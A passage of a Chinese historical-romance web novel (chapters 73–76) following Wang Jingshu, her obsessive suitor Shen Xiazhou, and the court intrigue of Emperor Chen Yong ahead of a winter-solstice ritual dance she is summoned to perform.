意映卿卿如晤,吾至念汝,虽阻山海,思念未断,至与汝别,已涉一春,常感度年,然吾做此书,不知卿卿念我亦如是?吾至爱汝,即为阴间一鬼,也难弃卿卿,若入卿卿夜梦,愿卿莫惧莫离。 书信极短,可又鬼气森森得令人又气又想笑。 沈遐洲这到底是思念她还是威胁她呢,这是做鬼也不放过她的意思? 告诉她即便做鬼也要入梦与她纠缠! 这信一眼便知决计是出自沈遐洲本人之手,脑中甚至能浮现出沈遐洲做此信的模样,苍白病态的面庞,阴郁戾气的眉眼,偏又满身凄色。 便如空寂夜下的孤伶水仙,光是想起便觉心颤。 她心绪难抑得立即想给他回信,然至提笔,她又茫然,她的去信该寄往何处?而沈遐洲又为何会借王闻俭之手给她来信? 她又拿起那极薄的信纸,指尖拂过一个个墨字,揣摩着下笔之人的心境。 好在她并没有揣摩多久,又有一封从洛京来的急书给了她答案,这一封书信署名仍旧是王闻俭,可内里实实在在的是王七郎本人所书。 信的开头便将沈三郎骂了一遍,后心有余悸地说了一番沈遐洲是如何夜半满身带伤地据在他屋中,翻乱了他们以往的来信不说,还逼迫他代为寄信,而沈遐洲写信时,他就在一侧,一眼便瞥尽了信中所述,那内容便如那带伤郎君一般悚人。 王闻俭担忧王静姝被那信吓到,送走瘟神后,连忙又来信一封,说明缘由,劝她早日认清沈三郎的可怖的本性,断了念。 捏着王闻俭的来信,王静姝再也笑不出,自不是听进了王闻俭的劝告,而是想她的郎君又在做什么危险的事了?他是因受伤才躲至了王家在洛京的府邸吗? 再看那简短极了的信,枯涩疾速的运笔,几乎没有间断的墨迹。 她终是知晓为何来信这般简短,甚至想,她的郎君是不是又觉得自己快要死了? 他总这样,时而作态时而自艾,弄得一副快死了的模样,骗她怜他。 王静姝试图用郎君往日的作态来说服自己,可纤长浓睫下的眼眸,始终似被风沙迷眼般浸润,她知道的,沈遐洲的境地终归是不太好的。 她不再踟蹰地立即提笔回信,又再书一封地一同封入给王闻俭的去信。 * 是夜,流月皎白。 王闻俭夜半惊梦,猛地从榻中坐起,心有余悸地擦了擦额前冷汗,自那日在屋中撞见带伤的沈三郎,又瞥见他予六娘的书信,六娘做不做噩梦他还不知,可他却常觉沈三郎化作了阴间鬼,入梦掐他脖颈,恨他言状挑拨有情人。 还好是梦! 他长舒一口气地拍了拍心口,欲起身喝口凉水压惊,然隔着窗棂,月光从外照入,映亮桌前一人影,那人影扭头侧来,森白模糊得他一瞬心胆具颤,喉头像被厉鬼掐住一般失声。 王闻俭疑心还未梦醒,往榻上爬,然踉跄间双脚自己绊到自己,扑倒在地。 极细微的衣料摩擦声自他身后响起,分明是人! 王闻俭的耳尖动了动,翻坐在地,这次彻底看清了来人,竟又是沈三郎。 他面容雪白,带着病态,无怪会被忽明忽暗洒入的月光照得森白模糊。 知道是人非鬼后,王闻俭敛衣站起,捡起丢掉的脸面,摆出世家郎君的姿态:“沈三郎何故又擅闯我王府?” 明显的,经方才的一吓,他再捡起的气势有些不足,尤其是撞入沈遐洲睨来的眸底,他直感一阵凉意摄入心底。 看着身形笼在昏光中的沈遐洲,王闻俭很难去形容这样的郎君,足够冷冽,又足够岿然。 他随父入洛已有数月,无论是出于自己的好奇,还是六娘的嘱托,他对沈三郎此人都多有关注,无论如何看,他都只觉得这是一个病恹恹,又一生许是都要被监禁至死的郎君。 他有些同情沈三郎的境遇,甚至有些欣赏他为换得沈氏的后路自愿为质,可这些不足以他认同此人,六娘也不该将心思寄在一个没有未来的郎君身上。 故而他给六娘的去信,几乎挑不出一句对沈三郎的好话来,可接连两次在自己房中撞见沈三郎,他能察觉沈三郎或并无他想的那般可怜,也隐约有些猜测其为何来寻他。 在意识到沈三郎手中看的是什么,眼皮更是抽动几下,再次开口:“沈三郎盗看我之书信非是君子所为。” 沈遐洲目力极强,完整将手中信纸就着昏光看完,神色已然冷冽阴沉十分,加之他身形颀长,一经起身,窗棂外透过的清浅月光便被尽数遮挡,端是无端迫人的气势。 沈遐洲唇角微扯,开口:“你的信?” 对上沈遐洲阴鸷十分的眸子,王闻俭本就不如人的气势更是弱了几分,心虚的,自被迫为沈遐洲给六娘送过一次信,他收到了六娘的回信,其内还封着另一封未启的信,那是给沈三郎的,六娘托他寻法代为转交。 他虽整日在洛京,但同沈遐洲并无什么见面机会,加之心中不赞成六娘与沈三郎的联系,这事便办的不尽心,偏心中又记挂着。 或是这个缘故,他才会噩梦缠身,到现下信直接落到了沈遐洲手中,王闻礼也一时沉默了。 沈遐洲显然没有与他多话的闲情,他将信收好纳入怀中,不再多留,然他走前留下话又成了王闻俭的新一轮噩梦。 “还会再来”四字,挥之不去地在王闻俭的脑中打转。 第74章 第74章动容 月华如银,风如潮涌。 鬼魅般的黑影重新没入洛京一处府邸,大片大片的花瀑在夜下盛得妖异异常,肆意地吸食着鲜红土壤中的养分。 这是沈遐洲如今的府邸,从赐下至今,已不知埋下多少尸骨,有府中处置了眼线的,也有前来暗杀他的死士的,还有洛京莫名失踪的些许人口…… 沈遐洲的卫士对这些自来处理得干净利落,而众人也早已习惯了郎君嗜杀阴沉的模样。 甫一见得他回来,星泉自觉地为郎君更衣,出乎意料的,郎君今日外出的衣裳竟一如出去般干爽整洁,不见半分血迹。 人高的铜制烛台煌煌灯火将沈遐洲面庞照亮,苍白面皮上好似也带上了些温暖血色,他指尖滑着王静姝写来的信,明明已看过一遍,可又经不住一再眷恋地一字一字细看。 难得的书信,清灵秀美的字迹,入目便是“我念你亦如是”的答复,令他极动容,又难掩心酸。 他偏执,狭隘,思量更是诡谲敏感,那日入陶敬府中寻边防域图,不甚被察觉,一路逃离追兵,恰至王家府邸,身上几道凌厉的箭伤令他失血过多的虚弱,但在听得几个女婢谈得王七郎时,原本压抑在心底的愤怒、不甘还有思念都变得失控。 王氏诸人多冷情逐利,王瑞入朝授大司农,可谓如鱼入水,同吕相皆是世家出身,天然有着统一的利益,但王瑞也不全然立于寒门对立面,他深知他入局是为新帝平衡朝局而来,他左右逢源,一面笑脸迎人一面捅刀子,极快地在朝堂中立起了一方代表南地士族的势力。 这无疑也是沈遐洲乐见其成的,甚至也在暗中出了不少力,朝堂倾轧越乱,于他自然也是越有利。 可许是虚弱的缘故,那些利益得失的计较,都被病态又疯狂的情绪所取代,他想到,他的卿卿也是可恨的王氏女,她也冷情,于情爱一事上也多有戏耍他,甚至断爱时抽身得极为果决冷漠。 数月不见,归于建业的女郎是否早已将他忘于脑后?建业年轻郎君们是否又皆追慕于她身后…… 他想得委屈,想得嫉妒到双目赤红,他不顾身上需及时处理的伤处,也不畏王氏府邸隐在暗处的卫士,寻至王闻俭的住处。 他的状态着实不好,好似随时都可能倒下,可强烈的痛楚反令他的精神变得更强悍,躯体似被挣脱束缚的狰狞野兽占据,他一书而就,便是化为厉鬼,女郎休想摆脱他。 王七郎被他迫着夜半将书信送出。 然这一通所为,他事后便悔了,恐女郎被他的去信吓得远离,也更深悔将自己的无能暴露在了女郎的面前。 他怨自己不够强大,恨自己不能登时将这内斗不断,国力虚耗的大绥给毁了。 是的,毁了,而不是夺回,这种阴晦念头若说往日只偶尔冒出,如今便如失控狂长的薤般,密密麻麻地布满了胸腔。 他不计后果地想令这该死的大绥干脆乱得彻底些,迫不及待地想送该死的人都下地狱。 他是如此疯狂,毫无理智,他既知追不回已快马送出给女郎的信,行事就此更加无所顾忌,他拖着一贯多病的身体入了朝堂。 陈雍对自己一手平衡起来的朝堂局势,隐有压制不住的弊端出现,三方坐大,他名为帝王,可处处受到掣肘,他不得不将沈遐洲置入朝中,以袭长公主旧志为由改制。 加强地方刺史、都督的管理,并尤为强调抑齐豪强。 再则,以考试办法加强对秀才和孝廉的考核。 两者同长公主在时有异曲同工之处,皆是为将权利收归自己手中。 但只有沈遐洲知晓,这两条法令,尤其是后者,是他母亲在时,都不曾颁布的。 且也是这一法令造成了他父母之间长久的争执,陈蓉主张兵权为上,而沈照主张推行变法和考试,在暂不破坏世家豪强举荐为官的基础上,再开一条给予寒门子弟考试的机会。 当更多寒门子弟通过考试进入官场,便会慢慢改变朝中官员的格局。 只依照沈照的想法,实在太漫长了,要等多久?十年?二十年?或是更久?是否也意味着也要对世家忍耐更久。 长公主当初不曾忍耐地对此弃之不用,转抬举寒门武将。 至于陈雍的选择,沈遐洲毫不怀疑,借他口献上的这两条新制,陈雍皆会推行,毕竟陈雍就如他母亲一般对权利有一种急不可耐的渴望,尤其是在他早已有了比当初的长公主更优越的条件。 他手握由寒门武将为首的兵权,等同有了同世家豪强分庭抗礼的实力,甚至不需要徐徐图之,便可径直同世家豪门抢夺人才选拔的权利。 混乱的朝堂争执,世家、寒门、帝王,他们为了彼此的利益,极端的对立,令沈遐洲感到无端的愉悦,不枉他着意强调了“举贤不再出于世族”,也不枉他数月来为他们制造的争端。 沈遐洲漠然无比地瞧着这些丑态毕露的争执,眸色凉薄而寂静,他早知自己是如何阴暗内心,他不在乎大绥会如何,不在乎这些人死活,也不在乎世间千万众生的死活,即便人间变成地狱,他大抵也只会扭曲地享受。 可想了会,他便觉得没了什么兴致,他满腔恨意,寻不出人间有趣来。 他借忙碌,接连数日不去想借王七郎给女郎送出的信,在此刻忽地变得难熬起来,散朝后,他徘徊许久,终是又寻去了王七郎的住处。 他一会自怨自艾地想卿卿可会终于受不了他的疯病,寄与他断情书,一会又狠厉无比,想即便流尽最后一滴血,他的尸骨也要同女郎一起腐烂。 一会又深感委屈,或许王静姝根本不曾为他回信,毕竟,她便是那样一个坏女郎。 癫狂与酸楚恶意在他的胸腔中来回搅动,直到瞧见女郎所书的信笺—— 所有翻涌激烈的情绪一瞬变得安宁,就好似女郎在她身侧似的,劝他莫要吓王七郎。 虽心有不悦,可他轻易揭过了王七郎藏信的行为。 四下阒静,唯有火烛燃噼,星泉发现郎君虽睁着眼,目中却不曾聚光,好似隐着潮雾,濛濛一片,偏离平日里的阴冷尖锐,显得有些宽和与疲惫。 星泉也不由觉得目中潮泪湿润,他都已许久没见过这样的郎君了,过往郎君性子再阴晴不定,那也有晴的时候,哪如现今这般时时绷紧,不曾松懈,他不知多少次担忧郎君会就此病倒。 可郎君一直不曾倒下,只是一味的冰冷病态,这并不算好事,他听闻往往是这种精神强硬的人,一旦倒下便更容易药石罔效。 郎君现在能流露出些许情绪,他竟觉得松一口气。 他默默退下为郎君掩好门,不扰了郎君难得外放的情绪。 沈遐洲似缓了很久才将信仔细收起,再抬起脸时,他的眼尾虽仍有潮意,但那双眼却似染上了一重夜色的幽暗,毫不掩饰的杀性,同他俊美的外表交融得好似个什么也不在乎的恶鬼。 翌日,星泉发现他家郎君非但没有好转的迹象,反变本加厉地行事疯狂,他的手从朝堂伸至了域外,绸缎、茶叶、石蜜等物源源不断地从中原地带运至蜀中一带,再经由蜀地运往域外,赚得的诸多钱财皆用于他商队的扩大。 说是商队,但这些都是早年他在蜀地剿匪时充盈的部曲,等同私兵,他有自己的商道,鲜卑、匈奴等部同大绥边境的消息时时能传至他的耳中。 是年九月,鲜卑族的慕容部落同上谷、渔阳、辽西等郡摩擦不断,大绥边防将领多有死伤,其中就有顾五郎,这顾五郎早前也非是边地将领,是长公主在时,为抬举寒门武将,以平丹阳动乱之由,强置换了几处兵马。 顾五郎就是那时留守在了边郡,后陈雍继位,也有意打压世家,便忽视了这些变动,而朝中无休止的内斗,也令那些调往苦寒之地的世家子们回调无门。 若在平和之时,即便在苦寒之地,这些世家子们也能自己将日子过滋润了,可数次交锋下来,外族的蛮人们似也察觉了边防的薄弱。 一次比一次猛烈的进攻,又有多少本就养尊处优的世家子愿豁出性命去拼? 同顾五郎这样郎君都已是少有,而将领一旦畏了惧了,底下的军士又能有几多士气? 败仗的消息不断传回洛京,朝堂间非但没有同仇敌忾,反而越发地针锋相对,有子弟在边地的世家一面想将自家的子侄调回,一面又不愿就此被寒门武将压了一头,尤其上谷、渔阳一带属幽州,早前还是陶敬驻守过的,若非是要抬举这些粗人,他们家中的子弟何故会害了性命? 而陶敬为首的寒门武将也趁机不断上书弹劾败仗的将领。 经过一番争论和妥协,最后的结论是从寒门与世家中各出一个将领,联合退敌。 事情有了定论,御座之上的陈雍略带疲惫地下了朝,他的身子骨已然不见了过往的多病,但眉目中却多了几分时隐时现的残虐,他似乎想压住,令面皮一如还是惠王时那样温和,可却抽动得有些骇人,及至入了寝殿,他面皮上最后的温态也不见了。 木质物品翻倒的响动自内传出,他一直在隐忍,从幼时冷宫的受尽冷待到陈蓉养育下的忍气吞声,及至如今,他已是万万人之上,可仍旧有人胆敢不断忤逆他,吕良这老匹夫处处与他作对。 他想令沈遐洲死,吕良便非扯出些管冠冕堂皇的由头来保,他为更驱使陶敬为自己卖命,纳陶然入宫,吕良转头将自家旁支的女郎也送入宫中,打量他不知这老匹夫的心思,有了皇嗣,他当初用在长公主身上的手段焉知不会重回自己身上? 似想到什么,陈雍的眉头又温淡地舒展开一些,想来吕良也料不到,他既杀不掉沈遐洲 ,便也用沈遐洲作刀,提出了改制,也不知吕良可曾后悔非要留下沈遐洲与他膈应? 如此想着,朝中争论带来的不悦倒也消退不少,他全然不在乎边地的几场败仗,他始终认为域外的那些部族不成气候,倒是再多死些酒囊饭袋的世家子好。 他轻扣了扣没经翻倒的桌案,登时有屏住呼吸在不远随侍的宫婢上前,将殿内毁乱的器具尽数换上新的。 恰是时,陶然来求见。 陈雍目中划过一丝兴味,朝旁点了点头,便有人去引陶然入内。 他继位至今不足一年,并无皇后,三夫人中的贵嫔是为陶然,还有一位吕姓贵人,再往下,九嫔也未满,皆是愿攀附他而送进宫的女郎。 其中陶然无疑是最特殊的存在,早在他未夺帝之时,二人便多有一些合作。 大绥门阀士族之间的倾轧争夺非始于长公主,自来有之,故而常有因卷入**招来杀生之祸的名士,长久下来,这些名士分为了明显的两派,一派如吕相这般积极入世,一派如陆放一般远离政治,以探究玄理来超然物外,这也是清谈在大绥名士间流行的原因之一。 这类人在这些年来越发地多,陶然便是他于玄思与清谈一道上立起的一道旗帜,并不需陶然有多擅长此道,只需令众人知晓,他并不如长公主那般厌恶此道,并在以“神女”之口强化自己君权神授的同时,向外传播人放松宽容自己的性情皆是可以被理解的,即便是做出一些不穿衣服、不戴帽子的行为。 虚渺境界的追求,五石散光明正大的流行,皆令诸多世家内里变得更加糜烂。 于他而言,这不过是不破不立,用不了几年,变法新制选拔的人才便能取代世家的垄断,实实在在的权柄皆能收归于手。 许是想着这些,他偏浓郁的眉眼冲淡了温雅,瞧着竟有些鬼魅的邪肆。 陶然望一眼,便略带羞涩地垂头施礼。 明耀耀的蹙金裙铺展在淡色氍毹之上,腰间更是坠下各种繁复珠饰,富贵得不像个“神女”,倒像个堆满锦绣的衣桁。 陈雍双目像是被刺一般地偏了偏,他实是不知陶然自哪学来的穿衣风格,一经得势,竟一扫往日的淡雅装扮,变得越发庸俗。 陈雍皱着眉询问:“何事?” 陶然噙笑:“得陛下看重,妾得以为陛下料理祭祀事宜,妾想着,今年终归是陛下登基的第一年,冬至的祭天自然也尤为要紧,可惜妾已为人妇,不能再作祭舞。” 陶然说着,觑了一眼陈雍神情,才上前些地继续道:“妾有一人选想荐与陛下,这人陛下也识得。” 陈雍抬眼,只听得陶然口中吐出了一极为熟悉的女郎名讳—— “大司农家的六娘子王静姝。” 第75章 第75章赌一赌 王静姝的名字一出,陈雍目色一瞬凝起,继而掀眼打量向陶然,终是知她学的谁的装扮。 昔日在洛京女郎中独一枝般存在的王六娘子,便惯常是这般鲜妍靓丽的装扮。 可人与人之间自来是不同的,王静姝盛美,任何鲜亮的衣装都难盖其明妍姿容,而陶然虽也称得上美,却多是秀美,偏要学了那艳色装扮,举止中又掩不去的微谨依附,反落了下乘。 陈雍似陷入什么回忆般地轻敲案几,无人会不喜明艳得不可方物的美人,尤其是王娘子那种满是傲气令人得不到的美人。 他曾给过王静姝机会,只要她成了他的人,便不至成为引战的诱饵,而他也可先同南地世家先有了联系,可惜底下的人办事不力,一个服了五石散神志不清的女郎也能带丢。 后来的诸多筹谋中,王娘子已然被他排除在外,可不曾得到的美人,于已成为帝王的他而言,终归是待抹平的遗憾。 他不是没有暗示过王瑞献上女郎,然王瑞此人推三阻四,有时甚至装作听不懂。 他怒,但他初登大位,又同吕相有了隔阂,而陶敬更是后起之秀,根基不稳,他急需王瑞此人领南地士族的介入,来平衡朝堂。 而后,朝中党争不断,他也无暇再对王静姝起心思,此刻经陶然提起,若说不动心,那倒有些假了。 不过,他自也不会觉得陶然会无故提起王静姝,只那一眼可见的女郎之间的较量与不甘,令他轻轻地笑起来,顺水推舟般地道:“阿然有何想法,自去做便可。” “孤自是与你一心。” 温雅的浅笑极自然地从他唇畔流出,十年如一日的君子伪装,令他显出的温情既真切又令人几欲沉沦。 陶然不经有些荡漾,延颈前倾,姿态愈发顺从,于她而言,情爱自来是同权势关联的,谁能给她富贵权势,她便爱谁,昔日追附沈三郎如是,如今讨欢陈雍亦如是。 她无疑是自得的,过往瞧不起她的那些世家女郎,如今见了她还不是要恭敬俯首? 但她仍旧不满足,她所想见的低垂头颅中还少了几人,她恨昔日轻视贱于她的沈三郎为何还不去死?恼王静姝仍有家族庇佑可于建业恣意,妒宫中还有旁的嫔妃同她争高低…… 她的野心在权势的浸染下不断膨胀,已不再满意如今的妃位,她开始向往更高的凤位,也再抑不住地想击碎王静姝的傲骨,见她伏跪跟前求饶。 似只有这样,才能极大地抚慰她曾受伤的自尊。 她明明面着陈雍,眼神却想得微飘,甚至有几分不太正常的迷乱。 陈雍今日本无甚兴致,见此眉宇间的冷淡却敛起几分,指腹更是触上了陶然颊靥的肌肤问:“阿然近来可是又用药了?” 陶然顺势贴上了陈雍的手心,声若含蜜般稠:“九华峰请来的道人近来为妾新炼了些药,妾已不如往日般难受了。” 她口中的药自是五石散,若说一开始她恨极其了沈三郎,也恨极了对五石散的依赖,可时日久了,竟有些热衷上此道,她只觉每每服用五石散后,神明开朗,容颜焕发,肌理更是细腻,观之甚喜。 她的话并不难猜测,她来之前或就服了五石散,而对此,陈雍挑起陶然的一缕发,语中满是意味不明的笑意:“是吗?” “若是极好,阿然可莫要私藏着药方。” “自然。”陶然笑着倒入陈雍怀中。 五石散的配料多为贵重的药材,而陈雍早年当个闲散惠王时,能用以敛财的路子也无非是借多病之故开的药坊,时至今日,这些药坊也仍在运作,陶然的炼药道人也多是他的默许。 他虽已贵为帝王,可所承的帝王私库不过是个空壳,家资或比不上一些底蕴的世家。 也难怪长公主在时,不过一个蜀地流民动乱,也要办宴筹资,至于国库,光是应对将要起的战事,便已有应接不暇的的预兆。 这于他而言并非好事,故而同新制一起的,还新增了数条税令。 陈雍思量着国库私库的丰盈,同陶然各怀心思地滚作了一处。 翌日,毫无征兆地,自宫中发往建业了一道旨意,冬至祭天,宣王六娘子作悦神祭舞。 * 旨意传至建业时,王静姝恰不在府中,她在庄中巡视秋收佃粮,除此外,她还得了父亲的授意,从各地陆续收粮。 这些都需经她的手登入册中,到时一齐交于父亲调度。 这年来,王静姝虽还瞧不出天下要乱了的迹象,但王斐如一直稳扎稳打,力求在江淮一带扎稳根基,比之她阿父的沉稳,大伯王瑞就狡猾多了,也不知是在洛京待久了,察觉了些什么动向,还是被她阿父的突然上进给激发了灵感,竟生了个狡兔三窟之计。 他在洛京运作,将小叔父王瑾遣至出任青州都督。 青州地处江北,又背靠大海,是绝好的割据一方之地,且同王斐如所能掌控的扬州、京口等地恰能守望相助,对中间的徐州也可攻可守。 其实比之青州,王瑞更想谋的是荆州,若得控制荆州,便能彻底将长江一线掌控,重复昔日南地政权割据之态,如此,无论这 天下大势如何诡变,王氏都足以延续权利。 可惜胃口太大,若是提出,任人都能看出他的野心,故退而求其次。 这些若非王斐如点出,王静姝也窥不得其中深意,不过,也正是因王瑞这种只顾氏族荣耀的私心,王静姝反松了一口气。 这恰说明王瑞对新帝也算不上多忠心,他就如那墙头的草,风向往哪,势就往哪倒,且如今在朝中同人斗得不可开交,似也再无空插手管她一个小小女郎。 她唇畔不由地漾出一丝笑,将最后一笔入窖的佃粮登入册中。 恰是时,庄外疾奔来一家仆,待近了才发现竟是沈风眠院中的,来人一近前,便急着道:“六娘子,府中来旨了,还来了车驾要接娘子入洛京,夫人令奴来急报。” 王静姝笑意不复,面色一点点沉下,但她毕竟不是过往经不住一点事的女郎了,也不可能再一点风吹草动地就跑走,她见那仆说得上气不接下气,定然还有未尽之意,同竹苓抬了抬眼:“给他倒水。” 竹苓早有准备,从水囊中倒出水递给仆从,仆从饮尽,急切的面色才有好转。 王静姝这时才继续问:“你来时,叔母可知旨意是什么了?” “又是何人来传的旨?可有言所来车驾是何时要接我走?” …… 王静姝将重要的几点问得很细,这仆既能被沈风眠遣来传信,那也是极伶俐的,缓过气后,说得也越发详尽,禀道:“来府传旨的天使是宫廷内监,夫人令奴前来时,旨意还未宣读,但夫人观车驾仪制是出自祠部曹,恐与天子冬至祭天相干。” “还未曾言明何时就要接走娘子,但夫人道来使面色似有些急迫。” 王静姝面上郁色稍缓,知叔母见多识广,既是猜测同冬至的祭天相干,那应当八九不离十。 急于遣人来知会,怕也是忧她不知情地归家同来接人的仪驾面上,反不好拖延亦或是准备了。 仆从再无可说,可亦不敢擅离,静候着娘子的吩咐,然足过了好半响都不曾听得娘子再言,不由偷眼去看娘子身旁的侍女,企得个示意。 竹苓做主让仆从先退下,眼带担忧地瞧向娘子,这年来,不知多少建业郎君以各种名头邀娘子游猎,上门求娶者更是踏破了门槛,可娘子皆拒了,性子也不似过往那般爱玩爱笑,整个人越发地沉静,也越发地貌美。 她不梳繁复发髻,只赩炽发带穿发而过,最后余下如缎般披发用同色发带束至发尾,便是这般简素也足以惹人望了一眼又一眼。 竹苓无法料得,洛京来使,娘子会如何抉择,也无法料得,若是这样的娘子重入了洛京,可会止于来旨所传之事? 竹苓的担忧并非空想,但王静姝的面上并无忧,她细长眉尾下的眼底神情只有难决。 难决是否入洛。 她一直知自己未定的亲事是个潜在的隐患,她以尽孝为由留在父亲身边,也留在建业,为的就是避开初登帝位或还对她留有兴趣陈雍,也暂避开大伯对她亲事的利用。 至于之后,她对那个对她有着极强占有欲的郎君有信心,沈遐洲岂会给陈雍想起她这么个女郎的机会? 朝中争斗不休的党争已然证明了这一点。 再则,她父亲的出仕,大伯也有了新的筹谋与计较,轻易不会同父亲撕破脸再算计到她的婚事上。 她本以为她有足够的时间去等,直到这突如其来的来旨。 她不可能再如过往躲避丹阳王一般一走了之,陈雍毕竟是帝王,她若仍要拒,除非此刻便生一场大病,可如此做,难保证不会惹恼帝王,以影响祭天为由降罪。 她父亲如今正是坐稳江淮的时候,若因她之故功亏一篑,岂不可惜。 诸多思绪在她脑中拉扯,可她唇角却忽地流出一抹笑来,她竟在这时想起了沈遐洲,脑中不经勾勒出郎君满是凄楚酸涩怨怼她的模样。 她几乎可想那人会说出什么来——“坏卿卿,你又想弃我?” 她的脸颊有些发烫,笑意却加深,在心底回应:她哪里是想弃他,她分明是要去见他。 一念既定,她当即吩咐归府。 众人皆被女郎的决断惊到,尤其是久跟她身侧的贴身女婢,娘子这时这般康健地回府,那可真就躲不掉重去洛京了! 竹苓竹沥目中忧色更深,却不知从何问起,直至归府的车驾动了,竹苓才略有些无奈地问:“娘子当真决定了?可要等主君回来再议?” 王静姝摇头。 她确不喜族中大伯等人的逐利算计,可她似也一脉相承了这点特质,她也计较得失,但她更大胆,她便赌一赌,到底是父亲推断的大绥要乱了的快,还是她在洛京先作没了小命的快。 第76章 第76章过渡剧情 圣令发往建业的当日,自是逃不过洛京诸多人的好奇,有人听听便觉无甚稀奇,然也有年轻郎君女郎们期待起同王六娘子的再次会面。 可除此外,还有截然不同的几种人。 洛京大司农府,王瑞面庞沉静,目中神思晦朔难辨,王氏族支女郎不在少数,可如王静姝这样有足够价值的却无,昔日丹阳王一眼中意她,如今的天子也多对她念念不忘,同沈三郎也更是有些道不明的情缘。 他能自一开始留王静姝留在建业尽孝,除却不好同四弟撕破脸,也多有待价而沽之意,只不曾想四弟能忽地上进,比之献女,自是氏族的团结重要,可现今新政与战事交织,着实令他不安。 盯着天子血脉的也非是只有他,偏是这时要召他王氏女郎入洛领祭舞,岂会是单纯地缺一女郎祭舞? 王瑞无声地笑了笑,心道:四弟,天子之令,可非是他能拦。 如此想着,他提笔同王斐如去信,信中多有提及若是王静姝入洛京,他定然多加照看。 而同王瑞不同,王闻俭却是急坏了,甫一从旁人口中听得对王静姝的问询和旨意中的内容,面色便白了白,没有人比他更清楚六娘为何要留在建业。 况这洛京的波谲云诡,便是他居下不足一载,也能从各方交际中感受到。 六娘此时入洛京作祭舞,难保不会有旁的麻烦。 就他所知的,天子无子,朝中诸臣皆企盼天子后宫能诞下一二麟儿,当然,若是小皇子能有己方势力所支持的血派便更好了。 王闻俭了解自己的父兄们,王氏不献女,只因入洛时日短,还觉时机不到,如今正是三方势力平衡之时,难保父亲不又有了主意。 六娘偏又这时被点入洛京,他岂能不担忧,只匆匆遣出人去传信,祈祷能比天使快一步送至六娘手中,以六娘的急智,若她真不想,装病应当不是难事。 然更令他头痛不已的是沈三郎那个疯子,这人既不敢时常给六娘去信,便多夜半来扰他,有时一坐便是大半个时辰,不断逼迫他回忆同六娘自小的点滴,说与他听。 这人好似便指望这活似的,也不知若是知晓了此事,会如何? 他实不知六娘怎会喜爱上这样可怕又有些可怜的郎君,越想越是头痛。 * 王闻俭与王瑞的来信几乎是同一时间到的建业,可也一同比天使所到慢了半日,彼时王静姝已然见过了天使,并已接下旨意,愿入洛京为天子作祭舞。 竹苓竹沥皆在为她收拾行李,而王闻俭的来信便放在她的妆奁前,信中内容一眼扫尽,她却并不曾理会。 冬至于冬月廿一,距今还有近两月的时日,至少这两月王闻俭担忧的事情绝不会发生,至于大伯的心思,只要她能赌对了便并不难摆平。 大伯想天子后宫有王氏女的一席之地,那是因他依托于建业与青州将来之势,有了代幼主摄政的念头,可这幼主在哪都还不知晓呢,即便是送入了王氏女,难道就能保证幼主托胎吗? 便是看中她貌美,和陈雍在过往对她有的几分兴趣,那吕氏女还有陶然等妃嫔背后之人又岂是吃素的? 无非是觉得成或不成,即便牺牲了她一个女郎也无足轻重罢了。 可若是她这个女郎还能有不下于入宫的利益呢? 她父亲如今所显出的才能自是不用说,只待一个施展能力的机会,便可据江自守,而大伯心念的荆州,虽已放弃谋得手中,可并不代表没有机会了。 荆扬毗邻,唯缺一个连接纽带而已,而王家没有比她更适合同荆州周家联姻的贵重女郎了。 到底如何利用她的亲事才能获利更大,她想,大伯父应能有个取舍。 她尤想着,入洛京后要如何说服大伯尽力庇佑她,而不是卖了她,便听得竹沥来报:“娘子,主君归了,请娘子去书房。” 王静姝“嗯”了声,知晓她擅做下的决定,终归是要同父亲再商讨商讨,有些细节或还需父亲帮她再推敲确定,故而当即便起身去往书房。 同王静姝收得王闻俭来信的反应不同,向来极少动怒的王斐如摔了一盏茶,昔日他不涉族中事务,大兄将主意打到六娘身上,他无奈下将人送离建业。 可现今,他已摆出了态度,大兄却仍旧贪心不足,天子之令,确非能拦,可信中通篇下来,他 如何不知王瑞的算盘,此次若将六娘送入洛京,可还有能归来的一日? 奈何六娘也主意过大,竟不同他商量,径直接下了来旨。 第一次地,王斐如竟有些后悔放任六娘养成了如今的性子。 这般无法无天下去,他又能护住她几时? 王斐如不经苦笑,便是当下,他这个做父亲,也留不住她了。 王静姝甫一踏入书房,便见得王斐如容情颓丧,烛光映照下,竟有缕缕白发夹在乌发之中。 一股难言的酸涩塞在心间,阿父自来寄情山水的淡薄性子,若非为她,又哪会如今般殚精竭虑,早生华发,她咬唇抑住眶中湿意,直直跪了下去:“是女儿不孝,又令父为我烦忧了。” 她跪得一点也不含糊,膝骨同青石地砖碰撞发出清脆的一声响,令得王斐如也是一惊,心疼得起了身,但方伸出些手,又陡地收了回来,面色也忍耐般地顿时沉了下去:“你确是不孝!” “旁家的女郎皆是温良恭谦,早早觅得佳婿,再不用父母担忧,唯你,做的桩桩件件,主意大得何曾眼里还有我这个父亲?” 王静姝心中愧虽愧,但却半分不惧王斐如的斥责,她知阿父分明是心口不一,她辩道:“阿父胡说,旁家的女郎哪里个个都是温良恭谦了,同我这般得家中宠爱的女郎也多得是未嫁的。” “阿父疼我才多留我。”她黑目莹莹,眼睫却沾着几点微小泪珠,话腔中也满是慕孺之情。 王斐如再是想硬下心肠将她锁在家中,再去应付天使道六娘病重,也不得不先听听她的想法。 “还要跪多久?也不怕坏了我这地砖?” 王静姝破涕为笑,知她阿父是愿意听她说了,当即提了裙裾起身:“我知阿父想划江自守,且阿父同荆州的周都督应也是有什么私下商议吧。” 王斐如目中闪过一抹惊讶,他自推得大绥许要再经动荡,一改往日对六娘的放任,有意令她收敛些性子,也多交代了一些事务于她忙碌。 可能成长至何地步,却是没有任何指望的,不想她竟能察觉到些连王瑞都不知晓之事。 王静姝观他神色,便知自己猜对了,划江自守,父亲从未有隐瞒,但后半句同荆州相干的确是她自己推断出来的,父亲只掌握了长江一线的下游,可上游实是一个威胁,若荆州水军沿江而下,是极易攻破下游防线的。 就连她都能想到的事,父亲怎么可能想不到呢,可父亲却不曾忧过这点,而她所收的粮,有一部分甚至是从夏口武陵等地而来,这般要经过几个关口的粮队,不可能这般轻易通过,除非有人默许了父亲的屯粮举动,甚至借父亲之手一同囤积粮草。 她能想到的唯有荆州有人同父亲,私下达成了连大伯都不曾知晓的某种协议。 所以她才有信心或能用这说服大伯父,毕竟比起还不知何时才能有踪影的幼主,自然是当下荆扬两州紧密联系更重要。 她要做的,无非是撒一点小谎,令大伯相信她的亲事会是荆扬两州连接的纽带,如此,即便她入了洛京,大伯也定会不留余力地保她。 王静姝将自己的猜测,与胆敢应下入洛京作祭舞的依仗皆说与王斐如,双眸更是满怀期盼地看向王斐如,以期验证自己想的可对。 